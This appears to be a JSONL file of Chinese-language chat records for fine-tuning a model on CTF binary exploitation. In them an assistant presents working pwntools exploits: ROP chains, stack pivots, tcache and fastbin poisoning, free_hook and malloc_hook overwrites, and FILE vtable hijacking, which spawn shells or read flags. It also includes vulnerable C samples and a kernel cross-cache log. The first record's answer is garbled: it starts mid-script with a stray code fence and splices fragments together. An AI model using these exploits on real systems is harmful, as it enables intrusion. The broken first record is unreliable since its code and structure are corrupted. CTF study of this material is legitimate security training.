{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5c1680432681469e051e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「pay=pay.ljust(0x50,b'\\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# pay=pay.ljust(0x50,b'\\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)\npay=p64(pop_rdi)+p64(data_addr)+p64(pop_rsi)+p64(0x2000)\npay+=p64(pop_rdx_r12)+p64(7)*2+p64(mprotect)+p64(pop_rbp)+p64(bss+0x200)+p64(0x40140F)+shellcode\nsd(pay)\npause()\nsd(p64(0x404788))\n\nia()\n```\n\n\n```plain\n第一次构造个read在我们要的bss段上写入flag字符串\n第二次的rop如同下面的exp那样构造orp\n```\n\n+ exp\n\n```python\nfrom pwn import *\nr=process('./good')\nlibc=ELF('/lib/x86_64-linux-gnu/libc.so.6')\nelf=ELF('./good')\ncontext.log_level='debug'\n'''\n0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret\n0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret\n0x0000000000400840 : pop r14 ; pop r15 ; ret\n0x0000000000400842 : pop r15 ; ret\n0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret\n0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret\n0x00000000004005f8 : pop rbp ; ret\n0x0000000000400843 : pop rdi ; ret\n0x0000000000400841 : pop rsi ; pop r15 ; ret\n0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret\n0x000000000040053e : ret\n0x0000000000400542 : ret 0x200a\n0x0000000000400778 : ret 0x2be\n\n'''\nrdi=0x0000000000400843\nrsi=0x0000000000400841\nr.recv()\n#puts(puts_got)\npay='a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0400790)\nr.sendline(pay)\nleak=u64(r.recv(6)+'\\x00'*2)\nprint(hex(leak))\nlibc_base=leak-libc.sym['puts']\nprint(hex(libc_base))\nr.recv()\npay3='a'*0x58+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x0400790)\nr.send(pay3)\nr.send('flag')\n\nr.recv()\npay1='a'*0x58+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])\npay1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])\npay1+=p64(rdi)+p64(0x601200)+p64(libc_base+libc.sym['puts'])+p64(0x0400790)\nr.send(pay1)\nprint(r.recvuntil(\"}\"))\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-eb2da2d130cccc2e", "original_line": 618, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5cb82ac04a70a5f61b86", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「8. poison 到栈返回地址」。\n资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 8. poison 到栈返回地址\n\n接着 poison `0x40` bin 到刚刚计算出的返回地址位置：\n\n```python\nadd(1, 0x30)\ndele()\nedit(p64(stack ^ (heap_addr >> 12)))\nadd(1, 0x30)\nadd(1, 0x30)\n```\n\n此时全局 `ptr` 已经指向栈上的目标返回地址区域。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-2e27d5106e4080b6", "original_line": 133, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "split_group_key": "29400e37059a22e96fca7e93"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5d253bbaca2f566db610", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/fastbin attack/Arbitrary Alloc/2017_0ctf_babyheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/fastbin attack/Arbitrary Alloc/2017_0ctf_babyheap/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `allocate`\n- `dump`\n- `exp`\n- `fill`\n- `free`\n- `offset_bin_main_arena`\n\n利用主题关键词：\n- heap/tcache\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x4526a`, `0x3c4b20`\n\n训练用代码片段：\n```python\nfrom pwn import *\ncontext.terminal = ['gnome-terminal', '-x', 'sh', '-c']\nif args['DEBUG']:\n    context.log_level = 'debug'\ncontext.binary = \"./babyheap\"\nbabyheap = context.binary\nif args['REMOTE']:\n    p = remote('TARGET_IP', 7777)\nelse:\n    p = process(\"./babyheap\")\nlog.info('PID: ' + str(proc.pidof(p)[0]))\n\n\ndef offset_bin_main_arena(idx):\n    word_bytes = context.word_size / 8\n    offset = 4  # lock\n    offset += 4  # flags\n    offset += word_bytes * 10  # offset fastbin\n    offset += word_bytes * 2  # top,last_remainder\n    offset += idx * 2 * word_bytes  # idx\n    offset -= word_bytes * 2  # bin overlap\n    return offset\n\n\noffset_unsortedbin_main_arena = offset_bin_main_arena(0)\n\n\ndef allocate(size):\n    p.recvuntil('Command: ')\n    p.sendline('1')\n    p.recvuntil('Size: ')\n    p.sendline(str(size))\n\n\ndef fill(idx, size, content):\n    p.recvuntil('Command: ')\n    p.sendline('2')\n    p.recvuntil('Index: ')\n    p.sendline(str(idx))\n    p.recvuntil('Size: ')\n    p.sendline(str(size))\n    p.recvuntil('Content: ')\n    p.send(content)\n\n\ndef free(idx):\n    p.recvuntil('Command: ')\n    p.sendline('3')\n    p.recvuntil('Index: ')\n    p.sendline(str(idx))\n\n\ndef dump(idx):\n    p.recvuntil('Command: ')\n    p.sendline('4')\n    p.recvuntil('Index: ')\n    p.sendline(str(idx))\n\n\ndef exp():\n    # 1. leak libc base\n    allocate(0x10)  # idx 0, 0x00\n    allocate(0x10)  # idx 1, 0x20\n    allocate(0x10)  # idx 2, 0x40\n    allocate(0x10)  # idx 3, 0x60\n    allocate(0x80)  # idx 4, 0x80\n    # free idx 1, 2, fastbin[0]->idx1->idx2->NULL\n    free(2)\n    free(1)\n    # edit idx 0 chunk to particial overwrite idx1's fd to point to idx4\n    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)\n    fill(0, len(payload), payload)\n    # if we want to allocate at idx4, we must set it's size as 0x21\n    payload = 0x10 * 'a' + p64(0) + p64(0x21)\n    fill(3, len(payload), payload)\n    allocate(0x10)  # idx 1\n    allocate(0x10)  # idx 2, which point to idx4's location\n    # if want to free idx4 to unsorted bin, we must fix its size\n    payload = 0x10 * 'a' + p64(0) + p64(0x91)\n    fill(3, len(payload), payload)\n    # allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk\n    allocate(0x80)  # idx 5\n    free(4)\n    # as idx 2 point to idx4, just show this\n    dump(2)\n    p.recvuntil('Content: \\n')\n    unsortedbin_addr = u64(p.recv(8))\n    main_arena = unsortedbin_addr - offset_unsortedbin_main_arena\n    log.success('main arena addr: ' + hex(main_arena))\n    main_arena_offset = 0x3c4b20\n    libc_base = main_arena - main_arena_offset\n    log.success('libc base addr: ' + hex(libc_base))\n\n    # 2. malloc to malloc_hook nearby\n    # allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4\n    allocate(0x60)\n    free(4)\n    # edit idx4's fd point to fake chunk\n    fake_chunk_addr = main_arena - 0x33\n    fake_chunk = p64(fake_chunk_addr)\n    fill(2, len(fake_chunk), fake_chunk)\n\n    allocate(0x60)  # idx 4\n    allocate(0x60)  # idx 6\n\n    one_gadget_addr = libc_base + 0x4526a\n    payload = 0x13 * 'a' + p64(one_gadget_addr)\n    fill(6, len(payload), payload)\n    # trigger malloc_hook\n    allocate(0x100)\n    p.interactive()\n\n\nif __name__ == \"__main__\":\n    exp()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-53799bbd66cbc691", "original_line": 7, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/Arbitrary Alloc/2017_0ctf_babyheap/exp.py", "split": "train", "split_group_key": "b9fba80d392ca3f543307472"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/fastbin attack/Arbitrary Alloc/2017_0ctf_babyheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5d53226ff46d14239018", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/[HDCTF 2023]KEEP ON/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/[HDCTF 2023]KEEP ON/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n关键常量/偏移样例：\n`0x4007f2`, `0x00000000004008d3`\n\n训练用代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\nformat=b\"%16$p\"\nsa(b\"name: \\n\",format)\nru(b\"hello,\")\nleak_ebp=int(r(14),16)\nsuccess(hex(leak_ebp))\n\ntarget=leak_ebp-0x60-8\nleave=0x4007f2\nrdi=0x00000000004008d3\nsys=elf.plt.system\nsh=target+32\npayload=p64(rdi)+p64(sh)+p64(sys)+b\"/bin/sh\\x00\"\npayload=payload.ljust(80,b\"a\")+p64(target)+p64(leave)\n\nsa(\"keep on !\\n\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-ba9ef1acad186b17", "original_line": 578, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/[HDCTF 2023]KEEP ON/exp.py", "split": "train", "split_group_key": "1bc74c6f5cf781dc6b11a6cd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/[HDCTF 2023]KEEP ON/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5d973e10cd72e21a9411", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「新版本off-by-null转heap overlapping」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 新版本off-by-null转heap overlapping\n\nchunk 合并需要绕过如下检查：\n\n- prev_size 和按照 prev_size 找到的 chunk 的 size 是否相等。\n- unlink\n  - chunksize (p) == prev_size (next_chunk (p))\n  - fd->bk == bk->fd == p\n  - p->fd_nextsize == NULL （绕过对 fd_nextsize 和 bk_nextsize 的双向链表检查）\n\n思路：构造一个 fake chunk 满足上述条件，最好是不需要泄露堆地址。\n\n难点：如何在不泄露堆地址的情况下构造满足 fd->bk == bk->fd == p 的 fake chunk 。\n\n首先采用如下方法伪造出 fake chunk 的 fd 和 bk 。\n\n之后利用 unsorted bin 伪造 chunk1 的 bk 。\n\n由于 unsorted bin 是从 bk 开始取的，不能通过 unsorted bin 来修改 chunk6 的 fd ，因此这里借助 large bin 和部分覆盖来伪造 chunk6 的 fd 。\n\n至此 fake chunk 满足 house of einherjar 条件，可以实现堆块重叠。\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path], aslr=False)\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\nadd_chunk(0, 0x18)\nadd_chunk(1, 0x418)\nadd_chunk(2, 0x108)\nadd_chunk(3, 0x418)\nadd_chunk(4, 0x438)\nadd_chunk(5, 0x108)\nadd_chunk(6, 0x428)\nadd_chunk(7, 0x108)\n\ndelete_chunk(1)\ndelete_chunk(4)\ndelete_chunk(6)\ndelete_chunk(3)\n\nadd_chunk(1, 0x438)\nedit_chunk(1, 'a' * 0x418 + p64(0xa91))\nadd_chunk(3, 0x418)\nadd_chunk(4, 0x428)\nadd_chunk(6, 0x418)\n\ndelete_chunk(6)\ndelete_chunk(3)\nadd_chunk(3, 0x418)\nedit_chunk(3, 'b' * 8 + p8(0))\nadd_chunk(6, 0x418)\ndelete_chunk(6)\ndelete_chunk(4)\nadd_chunk(4, 0x9f8)\nadd_chunk(6, 0x428)\nedit_chunk(6, p8(0))\nadd_chunk(8, 0x418)\nadd_chunk(9, 0x38)\nedit_chunk(7, 'a' * 0x100 + p64(0xa90) + p8(0))\ndelete_chunk(4)\ngdb.attach(p)\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-276a349adc921b96", "original_line": 63, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5dc0a957dc4a0c09554d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2syscall/x86/bamboofox-ret2syscall/rop.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2syscall/x86/bamboofox-ret2syscall/rop.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n#include \n#include \n\nchar *shell = \"/bin/sh\";\n\nint main(void)\n{\n    setvbuf(stdout, 0LL, 2, 0LL);\n    setvbuf(stdin, 0LL, 1, 0LL);\n\n    char buf[100];\n\n    printf(\"This time, no system() and NO SHELLCODE!!!\\n\");\n    printf(\"What do you plan to do?\\n\");\n    gets(buf);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-605f3773e40f7b36", "original_line": 557, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x86/bamboofox-ret2syscall/rop.c", "split": "train", "split_group_key": "78108ad3f2597fdec18d7723"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2syscall/x86/bamboofox-ret2syscall/rop.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5e94c72d635c2098c5b2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 原理\n\n事实上只要满足目标地址存在合法的 size 域，我们可以把 chunk 分配到任意的可写内存中，比如 bss、heap、data、stack等。\n\n```c\n      if (victim != 0)\n        {\n          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))\n            {\n              errstr = \"malloc(): memory corruption (fast)\";\n            errout:\n              malloc_printerr (check_action, errstr, chunk2mem (victim), av);\n              return NULL;\n            }\n          check_remalloced_chunk (av, victim, nb);\n          void *p = chunk2mem (victim);\n          alloc_perturb (p, bytes);\n          return p;\n        }\n```\n\n主要要求分配位置的大小与申请的chunk大小一致，否则会报错。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-8917e4711a4ae6c5", "original_line": 92, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5ec286330cddfc23cadd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 例题\n\n2024强网青少赛 journey_story\n\n- 分析\n\n反编译程序，然后修理一下伪代码，很经典的菜单题。\n\n在free的时候存在一个uaf漏洞，堆的版本为2.31，即有tcache。\n\n直接通过释放大堆块到 `unsortedbin` 然后直接通过 `show` 功能泄露 `libc` 地址。然后修改 `tcache` 的 `next` 指针为指向 `free_hook`，然后将它申请出来，修改为 `system` 函数的地址，之后释放一个带有 `/bin/sh` 字符串的堆块就可以 `getshell`。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./pwn')\nio = remote('TARGET_IP',12300)\n#io = process([elf.path])\nlibc = ELF('./libc-2.31.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef cmd(x):\n    ru(b'choice:\\n')\n    sl(str(x))\n\ndef add(id,size) :\n    cmd(1)\n    ru(b'index:\\n')\n    sl(str(id))\n    ru(b'size:\\n')\n    sl(str(size))\n\ndef delete(id):\n    cmd(2)\n    ru(b'index:\\n')\n    sl(str(id))\n\ndef edit(id,size,data):\n    cmd(3)\n    ru(b'index:\\n')\n    sl(str(id))\n    ru(b'length:\\n')\n    sl(str(size))\n    ru(b'content:\\n')\n    sl(data)\n\ndef show(id):\n    cmd(4)\n    ru(b'index:\\n')\n    sl(str(id))\n\nadd(0,0x500)\nadd(1,0x20)\ndelete(0)\nshow(0)\nlib_base = uu64() - 0x1ecbe0\nlg(\"libc_base\",lib_base)\n\nfree_hook = lib_base + libc.sym['__free_hook']\nsystem_addr = lib_base + libc.sym['system']\n\nlg(\"free_hook\" ,free_hook)\nlg(\"system \" , system_addr)\n\nadd(2,0x60)\nadd(3,0x60)\ndelete(2) #0x3c7af2a0\ndelete(3) #0x3c7af310\n\nedit(3,0x8,p64(free_hook))\n\nadd(3,0x60)\n\nadd(4,0x60)\nedit(4,0x10,p64(system_addr))\n\nedit(3,0x8,b'/bin/sh\\x00')\n\ndelete(3)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-4ebfb4b82d4c92ea", "original_line": 73, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5eed1035b7a6d04577f4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「总结」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 总结\n\n本题利用链可以概括为：\n\n```text\nUAF show -> 泄漏 heap base\nUAF show unsorted chunk -> 泄漏 libc base\nUAF edit tcache fd -> Safe-Linking tcache poisoning\nmalloc 返回 _IO_file_jumps\n覆盖 _IO_file_jumps + 0x18 为 one_gadget\nputs(\"Done\") -> FILE vtable overflow -> one_gadget -> shell\n```\n\n这就是原 `exp.py` 的核心利用手法：**打 glibc 2.34 下可写 `_IO_file_jumps` 的 FILE vtable 劫持**。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-84a1f5296d9cdc8a", "original_line": 183, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5f49d51518a80ac6e03d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Full drain returns pages to buddy」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Full drain returns pages to buddy\n\nOn SMP4 root-debug boot:\n\n```text\ninitial:        active_objs=0   num_objs=0   active_slabs=0  num_slabs=0\nafter_alloc512: active_objs=516 num_objs=528 active_slabs=33 num_slabs=33\nafter_free512:  active_objs=144 num_objs=192 active_slabs=12 num_slabs=12\n```\n\nThis confirms the important cross-cache precondition: freeing all once leaves stale slot pointers but drops total slabs from 33 to 12, so roughly 21 order-3 slab allocations are released back toward buddy/page allocator reuse.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-11efbdb8718fac2d", "original_line": 380, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5f53b6333744f45a1b5f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「示例 1」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 示例 1\n\n```c\nint my_gets(char *ptr,int size)\n{\n    int i;\n    for(i=0;i<=size;i++)\n    {\n        ptr[i]=getchar();\n    }\n    return i;\n}\nint main()\n{\n    void *chunk1,*chunk2;\n    chunk1=malloc(16);\n    chunk2=malloc(16);\n    puts(\"Get Input:\");\n    my_gets(chunk1,16);\n    return 0;\n}\n```\n\n我们自己编写的 my_gets 函数导致了一个 off-by-one 漏洞，原因是 for 循环的边界没有控制好导致写入多执行了一次，这也被称为栅栏错误。\n\n维基百科：栅栏错误（有时也称为电线杆错误或者灯珠错误）是差一错误的一种。如以下问题：建造一条直栅栏（即不围圈），长 30 米、每条栅栏柱间隔 3 米，需要多少条栅栏柱？最容易想到的答案 10 是错的。这个栅栏有 10 个间隔，11 条栅栏柱。\n\n我们使用 gdb 对程序进行调试，在进行输入前可以看到分配的两个用户区域为 16 字节的堆块：\n\n```\n0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1\n0x602010: 0x0000000000000000 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk2\n0x602030: 0x0000000000000000 0x0000000000000000\n```\n\n当我们执行 my_gets 进行输入之后，可以看到数据发生了溢出覆盖到下一个堆块的 `prev_size` 域（输入 'A' * 17）：\n\n```\n0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk1\n0x602010: 0x4141414141414141 0x4141414141414141\n0x602020: 0x0000000000000041 0x0000000000000021 <=== chunk2\n0x602030: 0x0000000000000000 0x0000000000000000\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1e336610a0b83a90", "original_line": 61, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
